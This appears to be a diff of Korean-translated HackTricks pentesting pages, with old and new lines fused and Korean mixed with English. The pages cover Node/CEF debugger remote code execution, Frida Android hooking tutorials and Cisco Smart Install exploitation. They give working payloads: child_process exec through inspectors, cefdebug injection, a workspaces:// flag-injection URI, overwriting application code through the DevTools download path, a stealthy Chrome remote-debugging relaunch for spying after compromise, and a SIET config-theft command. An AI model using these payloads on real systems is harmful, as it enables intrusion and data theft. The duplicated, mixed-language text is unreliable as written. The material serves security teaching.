debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')") debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
``` ```
도구 [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug)은 로컬에서 실행 중인 **인스펙터를 찾아내**고 **코드를 주입**할 수 있습니다. 도구 [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug)는 로컬에서 실행 중인 **검사기**를 **찾고** 그 안에 코드를 **주입**할 수 있게 해줍니다.
```bash ```bash
#List possible vulnerable sockets #List possible vulnerable sockets
./cefdebug.exe ./cefdebug.exe
@ -88,16 +90,16 @@ debug> exec("process.mainModule.require('child_process').exec('/Applications/iTe
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')" ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
``` ```
{% hint style="info" %} {% hint style="info" %}
**NodeJS RCE exploits won't work**이 브라우저에 [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)을 통해 연결된 경우에는 작동하지 않습니다(흥미로운 작업을 수행할 API를 찾아보아야 합니다). **NodeJS RCE 익스플로잇은** [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)에 연결된 경우 작동하지 않습니다(흥미로운 작업을 수행하기 위해 API를 확인해야 합니다).
{% endhint %} {% endhint %}
## NodeJS 디버거/인스펙터에서의 RCE ## NodeJS 디버거/인스펙터에서의 RCE
{% hint style="info" %} {% hint style="info" %}
[**일렉트론의 XSS에서 RCE를 얻는 방법을 찾고 있다면 이 페이지를 확인하십시오.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) [**Electron에서 XSS로 RCE를 얻는 방법을 찾고 있다면 이 페이지를 확인하세요.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
{% endhint %} {% endhint %}
Node **인스펙터**에 **연결**할 수 있는 경우 **RCE**를 얻는 일반적인 방법 중 일부는 다음과 같습니다(Chrome DevTools 프로토콜에 연결된 경우 작동하지 않는 것으로 보입니다): Node **인스펙터**에 **연결**할 수 있을 때 **RCE**를 얻는 일반적인 방법은 다음과 같은 것을 사용하는 것입니다(이 **Chrome DevTools 프로토콜에 연결된 경우 작동하지 않을 것 같습니다**):
```javascript ```javascript
process.mainModule.require('child_process').exec('calc') process.mainModule.require('child_process').exec('calc')
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe") window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
@ -106,22 +108,24 @@ Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))
``` ```
## Chrome DevTools Protocol Payloads ## Chrome DevTools Protocol Payloads
API 확인은 여기에서 할 수 있습니다: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ You can check the API here: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
이 섹션에서는 이 프로토콜을 악용하는 데 사용된 흥미로운 사례들을 나열할 것입니다. In this section I will just list interesting things I find people have used to exploit this protocol.
### 딥 링크를 통한 매개변수 주입 ### Parameter Injection via Deep Links
[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/)에서 Rhino Security는 CEF를 기반으로 한 응용 프로그램이 시스템에 사용자 정의 URI (workspaces://)를 등록했으며 이 URI를 수신한 후 그 URI에서 부분적으로 구성된 구성으로 CEF 기반 응용 프로그램을 실행했다는 것을 발견했습니다. In the [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security discovered that an application based on CEF **registered a custom URI** in the system (workspaces://) that received the full URI and then **launched the CEF based application** with a configuration that was partially constructing from that URI.
URI 매개변수가 URL 디코딩되어 CEF 기본 응용 프로그램을 실행하는 데 사용되었으며 사용자가 **`--gpu-launcher`** 플래그를 **명령줄**에 주입하고 임의의 작업을 실행할 수 있도록 했습니다. It was discovered that the URI parameters were URL decoded and used to launch the CEF basic application, allowing a user to **inject** the flag **`--gpu-launcher`** in the **command line** and execute arbitrary things.
따라서 다음과 같은 페이로드: So, a payload like:
``` ```
workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
``` ```
calc.exe를 실행합니다.
### 파일 덮어쓰기 ### 파일 덮어쓰기
**다운로드된 파일이 저장될 폴더**를 변경하고 자주 사용되는 **애플리케이션의 소스 코드를 덮어쓰기**하기 위해 파일을 다운로드합니다. **다운로드된 파일이 저장될 폴더**를 변경하고, **악성 코드**로 애플리케이션의 자주 사용되는 **소스 코드**를 **덮어쓰기** 위해 파일을 다운로드합니다.
```javascript ```javascript
ws = new WebSocket(url); //URL of the chrome devtools service ws = new WebSocket(url); //URL of the chrome devtools service
ws.send(JSON.stringify({ ws.send(JSON.stringify({
@ -133,19 +137,19 @@ downloadPath: '/code/'
} }
})); }));
``` ```
### Webdriver RCE 및 데이터 유출 ### Webdriver RCE 및 유출
이 게시물에 따르면: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) theriver에서 RCE를 얻고 내부 페이지를 유출하는 것이 가능합니다. 이 게시물에 따르면: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) RCE를 얻고 내부 페이지를 유출하는 것이 가능합니다.
### 사후 공격 ### 사후 활용
실제 환경에서 **사용자 PC를 침해한 후** Chrome/Chromium 기반 브라우저를 사용하는 사용자의 경우 디버깅이 활성화된 Chrome 프로세스를 시작하고 디버깅 포트를 포워딩하여 액세스할 수 있습니다. 이렇게 하면 피해자가 Chrome에서 수행하는 모든 작업을 **검사하고 민감한 정보를 도난할 수 있습니다**. 실제 환경에서 **Chrome/Chromium 기반 브라우저를 사용하는** 사용자 PC를 **타겟팅한 후** Chrome 프로세스를 **디버깅이 활성화된 상태로 실행하고 디버깅 포트를 포트 포워딩**하여 접근할 수 있습니다. 이렇게 하면 **희생자가 Chrome으로 수행하는 모든 작업을 검사하고 민감한 정보를 훔칠 수 있습니다**.
은밀한 방법은 **모든 Chrome 프로세스를 종료**한 다음 다음과 같 호출하는 것입니다. 은밀한 방법은 **모든 Chrome 프로세스를 종료**한 다음 다음과 같은 것을 호출하는 것입니다.
```bash ```bash
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
``` ```
## 참고 자료 ## References
* [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s) * [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s)
* [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug) * [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug)
@ -158,16 +162,17 @@ Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
* [https://larry.science/post/corctf-2021/#saasme-2-solves](https://larry.science/post/corctf-2021/#saasme-2-solves) * [https://larry.science/post/corctf-2021/#saasme-2-solves](https://larry.science/post/corctf-2021/#saasme-2-solves)
* [https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/) * [https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>로부터 제로에서 히어로까지 AWS 해킹 배우기!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드**하고 싶다면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **당신의 해킹 트릭을 공유하세요.**
</details> </details>
{% endhint %}

View file

@ -1,35 +1,38 @@
# Frida 튜토리얼 2 # Frida Tutorial 2
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하고 싶으신가요?** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출해주세요.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**버그 바운티 팁**: **해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼**인 **Intigriti에 가입**하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 참여하여 **최대 $100,000의 바운티**를 받아보세요! **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
**이 글은 다음 글의 요약입니다**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (파트 2, 3 및 4)\ **This is a summary of the post**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**APK 및 소스 코드**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) **APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
파트 1은 매우 쉽습니다. 1부는 매우 쉽습니다.
**일부 원본 코드는 작동하지 않고 여기서 수정되었습니다.** **원본 코드의 일부는 작동하지 않으며 여기에서 수정되었습니다.**
## 파트 2 ## Part 2
여기서 **동일한 이름을 가진 2개의 함수를 후킹하는 예제**를 볼 수 있습니다.\ 여기에서 **같은 이름을 가진 2개의 함수를 후킹하는** 방법의 예를 볼 수 있습니다.\
또한, **자체 매개변수로 함수를 호출하는 방법**을 배우게 될 것입니다.\ 또한, **자신의 매개변수로 함수를 호출하는** 방법을 배울 것입니다.\
마지막으로, **클래스의 인스턴스를 찾아 함수를 호출하도록 만드는 예제**가 있습니다. 마지막으로, **클래스의 인스턴스를 찾아 함수를 호출하게 하는** 방법의 예가 있습니다.
```javascript ```javascript
//s2.js //s2.js
console.log("Script loaded successfully "); console.log("Script loaded successfully ");
@ -64,9 +67,9 @@ onComplete: function () { }
}); });
}); });
``` ```
당신은 String을 생성하기 위해 먼저 _java.lang.String_ 클래스를 참조하고, 그 클래스의 String 내용을 가진 _$new_ 객체를 생성했다는 것을 볼 수 있습니다. 이것은 클래스의 새 객체를 생성하는 올바른 방법입니다. 그러나 이 경우에는 `this.fun("hey there!")`와 같이 어떤 String이든 `this.fun()` 전달할 수 있습니다. 당신은 문자열을 생성하기 위해 먼저 _java.lang.String_ 클래스를 참조한 다음, 해당 클래스의 _$new_ 객체를 문자열 내용을 가지고 생성한 것을 볼 수 있습니다. 이것이 클래스의 새 객체를 생성하는 올바른 방법입니다. 그러나 이 경우, `this.fun()``this.fun("hey there!")`와 같은 문자열을 그냥 전달할 수 있습니다.
### 파이썬 ### Python
```python ```python
//loader.py //loader.py
import frida import frida
@ -87,11 +90,11 @@ raw_input()
``` ```
python loader.py python loader.py
``` ```
## 파트 3 ## Part 3
### 파이썬 ### Python
이제 훅된 앱으로 명령을 보내어 함수를 호출하는 방법을 파이썬을 통해 살펴보겠습니다: 이제 Python을 통해 후킹된 앱에 명령을 보내고 함수를 호출하는 방법을 살펴보겠습니다:
```python ```python
//loader.py //loader.py
import time import time
@ -122,9 +125,9 @@ script.exports.callsecretfunction()
elif command == "3": elif command == "3":
script.exports.hooksecretfunction() script.exports.hooksecretfunction()
``` ```
다음 명령어 "**1**"은 **종료**하고, "**2**"는 클래스의 **인스턴스를 찾아 비공개 함수인** _**secret()**_를 호출하며, "**3**"은 함수 _**secret()**_를 **후킹**하여 **다른 문자열을 반환**하도록 합니다. 명령어 "**1**"은 **종료**하고, 명령어 "**2**"는 클래스의 **인스턴스를 찾고 비공식 함수** _**secret()**_을 호출하며, 명령어 "**3**"은 **함수** _**secret()**_을 **후킹**하여 **다른 문자열**을 **반환**합니다.
그러므로 "**2**"를 호출하면 **진짜 비밀**을 얻지만, "**3**"을 호출한 후 "**2**"를 호출하면 **가짜 비밀**을 얻게 됩니다. 따라서, "**2**"를 호출하면 **진짜 비밀**을 얻을 수 있지만, "**3**"을 호출한 후 "**2**"를 호출하면 **가짜 비밀**을 얻을 수 있습니다.
### JS ### JS
```javascript ```javascript
@ -165,9 +168,9 @@ callsecretfunction: callSecretFun,
hooksecretfunction: hookSecret hooksecretfunction: hookSecret
}; };
``` ```
## 파트 4 ## Part 4
여기서는 JSON 객체를 사용하여 **Python과 JS가 상호 작용하는 방법**을 살펴볼 것입니다. JS는 데이터를 Python 클라이언트로 보내기 위해 `send()` 함수를 사용하고, Python은 데이터를 JS 스크립트로 보내기 위해 `post()` 함수를 사용합니다. **JS는 Python으로부터 응답을 받을 때까지 실행이 차단됩니다.** 여기에서는 **Python과 JS가 JSON 객체를 사용하여 상호작용하는 방법**을 볼 수 있습니다. JS는 `send()` 함수를 사용하여 Python 클라이언트에 데이터를 전송하고, Python은 `post()` 함수를 사용하여 JS 스크립트에 데이터를 전송합니다. **JS는 Python으로부터 응답을 받을 때까지 실행을 차단합니다.**
### Python ### Python
```python ```python
@ -218,22 +221,25 @@ return this.setText(string_to_recv);
} }
}); });
``` ```
부분 5는 새로운 내용이 없어 설명하지 않겠습니다. 하지만 읽고 싶다면 여기에 있습니다: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/) There is a part 5 that I am not going to explain because there isn't anything new. But if you want to read it is here: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**버그 바운티 팁**: **Intigriti**에 가입하여 해커들을 위해 만들어진 프리미엄 **버그 바운티 플랫폼**에 참여하세요! [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 오늘부터 최대 **$100,000**의 바운티를 받아보세요! **버그 바운티 팁**: **가입하세요** **Intigriti**, 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 히어로까지 AWS 해킹을 배우세요**!</summary> <summary>HackTricks 지원하기</summary>
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으세요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으세요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family) * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요 * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**💬**](https://emojipedia.org/speech-balloon/) **Discord 그룹**에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
* **해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 PR을 제출하세요**.
</details> </details>
{% endhint %}

View file

@ -1,24 +1,27 @@
# 4786 - Cisco Smart Install # 4786 - Cisco Smart Install
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong>!</summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으세요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으세요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **해킹 요령을 공유하고 싶으세요?** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
</details> </details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
## 기본 정보 ## Basic Information
**Cisco Smart Install**은 새로운 Cisco 하드웨어의 초기 구성 및 운영 체제 이미지 로딩을 자동화하기 위해 Cisco가 설계한 것입니다. **기본적으로 Cisco Smart Install은 Cisco 하드웨어에서 활성화되며 전송 계층 프로토콜인 TCP와 포트 번호 4786을 사용합니다.** **Cisco Smart Install**는 새로운 Cisco 하드웨어의 초기 구성 및 운영 체제 이미지를 로드하는 과정을 자동화하도록 설계된 Cisco 제품입니다. **기본적으로 Cisco Smart Install은 Cisco 하드웨어에서 활성화되어 있으며, 전송 계층 프로토콜인 TCP를 사용하고 포트 번호는 4786입니다.**
**기본 포트:** 4786 **기본 포트:** 4786
``` ```
@ -27,25 +30,25 @@ PORT STATE SERVICE
``` ```
## **스마트 설치 악용 도구** ## **스마트 설치 악용 도구**
**2018년에 이 프로토콜에서 심각한 취약점인 CVE-2018-0171이 발견되었습니다. 위협 수준은 CVSS 척도에서 9.8입니다.** **2018년, 이 프로토콜에서 CVE-20180171이라는 심각한 취약점이 발견되었습니다. 위협 수준은 CVSS 스케일에서 9.8입니다.**
**Cisco Smart Install이 활성화된 TCP/4786 포트로 전송된 특수 제작된 패킷은 버퍼 오버플로우를 유발하여 공격자가 다음을 수행할 수 있게 합니다:** **Cisco Smart Install이 활성화된 TCP/4786 포트로 전송된 특별히 조작된 패킷이 버퍼 오버플로우를 유발하여 공격자가 다음을 수행할 수 있게 합니다:**
* 장치를 강제로 다시 부팅 * 장치를 강제로 부팅
* RCE 호출 * RCE 호출
* 네트워크 장비의 구성 정보 도용 * 네트워크 장비의 구성 도용.
**[SIET](https://github.com/frostbits-security/SIET) (스마트 설치 악용 도구)**는 이 취약점을 악용하기 위해 개발되었으며 Cisco Smart Install을 남용할 수 있게 합니다. 이 기사에서는 합법적인 네트워크 하드웨어 구성 파일을 읽는 방법을 보여드리겠습니다. Pentester에게 구성 파일 유출은 가치가 있을 수 있습니다. 왜냐하면 네트워크의 고유한 기능에 대해 알게 되기 때문입니다. 그리고 이는 삶을 더 쉽게 만들어주고 공격을 위한 새로운 벡터를 찾을 수 있게 합니다. **이** [**SIET**](https://github.com/frostbits-security/SIET) **(스마트 설치 악용 도구)**는 이 취약점을 악용하기 위해 개발되었으며, Cisco Smart Install을 남용할 수 있게 해줍니다. 이 기사에서는 합법적인 네트워크 하드웨어 구성 파일을 읽는 방법을 보여드리겠습니다. 구성 유출은 네트워크의 고유한 기능에 대해 알게 되므로 펜테스터에게 유용할 수 있습니다. 이는 삶을 더 쉽게 만들고 공격을 위한 새로운 벡터를 찾을 수 있게 해줍니다.
**대상 장치는 "실제" Cisco Catalyst 2960 스위치입니다. 가상 이미지는 Cisco Smart Install이 없으므로 실제 하드웨어에서만 연습할 수 있습니다.** **대상 장치는 “실시간” Cisco Catalyst 2960 스위치입니다. 가상 이미지는 Cisco Smart Install이 없으므로 실제 하드웨어에서만 연습할 수 있습니다.**
대상 스위치의 주소는 **10.10.100.10이며 CSI가 활성화되어 있습니다.** SIET를 로드하고 공격을 시작합니다. **-g 인수**는 장치에서 구성을 유출하는 것을 의미하며, **-i 인수**는 취약한 대상의 IP 주소를 설정할 수 있습니다. 대상 스위치의 주소는 **10.10.100.10이며 CSI가 활성화되어 있습니다.** SIET를 로드하고 공격을 시작하세요. **-g 인수**는 장치에서 구성의 유출을 의미하며, **-i 인수**는 취약한 대상의 IP 주소를 설정할 수 있게 해줍니다.
``` ```
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10 ~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
``` ```
<figure><img src="../.gitbook/assets/image (773).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (773).png" alt=""><figcaption></figcaption></figure>
스위치 구성 **10.10.100.10**은 **tftp/** 폴더에 있을 것입니다. 스위치 구성 **10.10.100.10**은 **tftp/** 폴더에 있니다.
<figure><img src="../.gitbook/assets/image (1116).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1116).png" alt=""><figcaption></figcaption></figure>
@ -53,14 +56,17 @@ PORT STATE SERVICE
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **AWS 해킹을 배우세요**!</summary> <summary>HackTricks 지원하기</summary>
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사 광고를 보고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요 * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
